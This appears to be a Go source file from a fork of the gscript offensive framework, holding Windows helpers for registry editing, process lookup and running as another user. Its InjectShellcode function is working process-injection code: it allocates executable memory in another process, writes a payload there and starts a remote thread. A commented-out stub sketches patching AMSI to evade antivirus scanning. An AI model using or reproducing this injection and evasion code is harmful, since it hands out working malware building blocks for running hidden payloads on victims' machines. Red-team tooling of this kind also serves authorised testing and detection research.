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windows.go
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windows.go
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//go:build windows
// +build windows
package windows
import (
"errors"
"syscall"
"unsafe"
"github.com/Pascal-0x90/gscript/x/windows/advapi32"
"github.com/Pascal-0x90/gscript/x/windows/process"
"github.com/mitchellh/go-ps"
"golang.org/x/sys/windows/registry"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
)
var (
// registry globals
regKeys = map[string]registry.Key{
"CLASSES_ROOT": registry.CLASSES_ROOT,
"CURRENT_USER": registry.CURRENT_USER,
"LOCAL_MACHINE": registry.LOCAL_MACHINE,
"USERS": registry.USERS,
"CURRENT_CONFIG": registry.CURRENT_CONFIG,
"PERFORMANCE_DATA": registry.PERFORMANCE_DATA,
}
)
type RegistryRetValue struct {
ValType string `json:"return_type"`
StringVal string `json:"string_val"`
StringArrayVal []string `json:"string_array_val"`
ByteArrayVal []byte `json:"byte_array_val"`
IntVal uint32 `json:"int_val"`
LongVal uint64 `json:"long_val"`
}
/*
registry helper funcs
*/
func lookUpKey(keyString string) (registry.Key, error) {
key, ok := regKeys[keyString]
if !ok {
// lol, picking a key at random because fuck golang return types
return registry.CLASSES_ROOT, errors.New("Registry key " + keyString + " not found")
}
return key, nil
}
/*
Public funcs
*/
//AddRegKeyString Adds a registry key of type "string".
func AddRegKeyString(registryString string, path string, name string, value string) error {
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
openRegKey, _, err := registry.CreateKey(regKey, path, registry.SET_VALUE)
if err != nil {
return err
}
defer openRegKey.Close()
return openRegKey.SetStringValue(name, value)
}
// AddRegKeyExpandedString Adds a registry key of type "expanded string".
func AddRegKeyExpandedString(registryString string, path string, name string, value string) error {
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
openRegKey, _, err := registry.CreateKey(regKey, path, registry.SET_VALUE)
if err != nil {
return err
}
defer openRegKey.Close()
return openRegKey.SetExpandStringValue(name, value)
}
// AddRegKeyBinary Adds a registry key of type "binary".
func AddRegKeyBinary(registryString string, path string, name string, value []byte) error {
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
openRegKey, _, err := registry.CreateKey(regKey, path, registry.SET_VALUE)
if err != nil {
return err
}
defer openRegKey.Close()
return openRegKey.SetBinaryValue(name, value)
}
// AddRegKeyDWORD Adds a registry key of type DWORD.
func AddRegKeyDWORD(registryString string, path string, name string, value int64) error {
var uval uint32
uval = uint32(value)
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
openRegKey, _, err := registry.CreateKey(regKey, path, registry.SET_VALUE)
if err != nil {
return err
}
defer openRegKey.Close()
return openRegKey.SetDWordValue(name, uval)
}
// AddRegKeyQWORD Adds a registry key of type QDWORD.
func AddRegKeyQWORD(registryString string, path string, name string, value int64) error {
var uval uint64
uval = uint64(value)
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
openRegKey, _, err := registry.CreateKey(regKey, path, registry.SET_VALUE)
if err != nil {
return err
}
defer openRegKey.Close()
return openRegKey.SetQWordValue(name, uval)
}
// AddRegKeyStrings Adds a registry key of type "strings".
func AddRegKeyStrings(registryString string, path string, name string, value []string) error {
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
openRegKey, _, err := registry.CreateKey(regKey, path, registry.SET_VALUE)
if err != nil {
return err
}
defer openRegKey.Close()
return openRegKey.SetStringsValue(name, value)
}
// DelRegKey Removes a key from the registry.
func DelRegKey(registryString string, path string) error {
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
return registry.DeleteKey(regKey, path)
}
// DelRegKeyValue Removes the value of a key from the registry.
func DelRegKeyValue(registryString string, path string, valueName string) error {
regKey, err := lookUpKey(registryString)
if err != nil {
return err
}
openRegKey, _, err := registry.CreateKey(regKey, path, registry.SET_VALUE)
openRegKey.DeleteValue(valueName)
openRegKey.Close()
return nil
}
// QueryRegKey Retrives a registry key's value.
func QueryRegKey(registryString string, path string, key string) (RegistryRetValue, error) {
retVal := RegistryRetValue{}
regKey, err := lookUpKey(registryString)
if err != nil {
return retVal, err
}
openRegKey, err := registry.OpenKey(regKey, path, registry.QUERY_VALUE)
if err != nil {
return retVal, err
}
_, valType, err := openRegKey.GetValue(key, nil)
if err != nil {
return retVal, err
}
switch valType {
case registry.EXPAND_SZ:
value, _, err := openRegKey.GetStringsValue(key)
if err != nil {
return retVal, err
}
retVal.ValType = "StringArray"
retVal.StringArrayVal = value
case registry.SZ:
value, _, err := openRegKey.GetStringValue(key)
if err != nil {
return retVal, err
}
retVal.ValType = "String"
retVal.StringVal = value
case registry.BINARY:
value, _, err := openRegKey.GetBinaryValue(key)
if err != nil {
return retVal, err
}
retVal.ValType = "ByteArray"
retVal.ByteArrayVal = value
case registry.DWORD:
value, _, err := openRegKey.GetIntegerValue(key)
if err != nil {
return retVal, err
}
retVal.ValType = "Uint"
retVal.IntVal = uint32(value)
case registry.QWORD:
value, _, err := openRegKey.GetIntegerValue(key)
if err != nil {
return retVal, err
}
retVal.ValType = "Uint64"
retVal.LongVal = value
}
return retVal, nil
}
// FindPid returns the PID of a running proccess as an int.
func FindPid(procName string) (int, error) {
procs, err := ps.Processes()
if err != nil {
return 0, err
}
for _, proc := range procs {
if proc.Executable() == procName {
return proc.Pid(), nil
}
}
return 0, errors.New(procName + " PID not found!")
}
// GetRunningCount returns the number of copies of a process running as an int.
func GetRunningCount(procName string) (int, error) {
procs, err := ps.Processes()
if err != nil {
return 0, err
}
var procCount = 0
for _, proc := range procs {
if proc.Executable() == procName {
procCount += 1
}
}
if procCount == 0 {
return 0, errors.New(procName + " is not running!")
} else {
return procCount, nil
}
}
// InjectShellcode Injects shellcode into a running process.
func InjectShellcode(pid_int int, payload []byte) error {
pid := float64(pid_int)
// custom functions
checkErr := func(err error) bool {
if err.Error() != "The operation completed successfully." {
return true
}
return false
}
// init
kernel, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return err
}
openProc, err := kernel.FindProc("OpenProcess")
if err != nil {
return err
}
writeProc, err := kernel.FindProc("WriteProcessMemory")
if err != nil {
return err
}
allocExMem, err := kernel.FindProc("VirtualAllocEx")
if err != nil {
return err
}
createThread, err := kernel.FindProc("CreateRemoteThread")
if err != nil {
return err
}
// open remote process
remoteProc, _, err := openProc.Call(
PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ,
uintptr(0),
uintptr(int(pid)),
)
if remoteProc != 0 {
if checkErr(err) {
return err
}
}
// allocate memory in remote process
remoteMem, _, err := allocExMem.Call(
remoteProc,
uintptr(0),
uintptr(len(payload)),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE,
)
if remoteMem != 0 {
if checkErr(err) {
return err
}
}
// write shellcode to the allocated memory within the remote process
writeProcRetVal, _, err := writeProc.Call(
remoteProc,
remoteMem,
uintptr(unsafe.Pointer(&payload[0])),
uintptr(len(payload)),
uintptr(0),
)
if writeProcRetVal == 0 {
if checkErr(err) {
return err
}
}
// GO!
status, _, _ := createThread.Call(
remoteProc,
uintptr(0),
0,
remoteMem,
uintptr(0),
0,
uintptr(0),
)
if status == 0 {
return errors.New("could not inject into given process")
}
// all good!
return nil
}
func RunAs(user, password, proc, cmdline string, netonly bool) (int, error) {
logonType := advapi32.LOGON_WITH_PROFILE
procInfo, err := process.CreateProcessWithLogonN(user, "", password, proc, cmdline, logonType, false)
if err != nil {
return -1, err
}
return int(procInfo.ProcessId), nil
}
// func PatchAmsi(pid_int int) error {
// // init our DLLs
// kernel, err := syscall.LoadDLL("kernel32.dll")
// if err != nil {
// return err
// }
// openProc, err := kernel.FindProc("OpenProcess")
// if err != nil {
// return err
// }
// // Perform the patch on the pid
// hProc = openProc.Call(
// PROCESS_VM_OPERATION|PROCESS_VM_WRITE,
// uintptr(0),
// uintptr(int(pid_int)),
// )
// // Now load the AMSI.DLL into the vm memory and resolve the addr of AMSI open session symbol
// }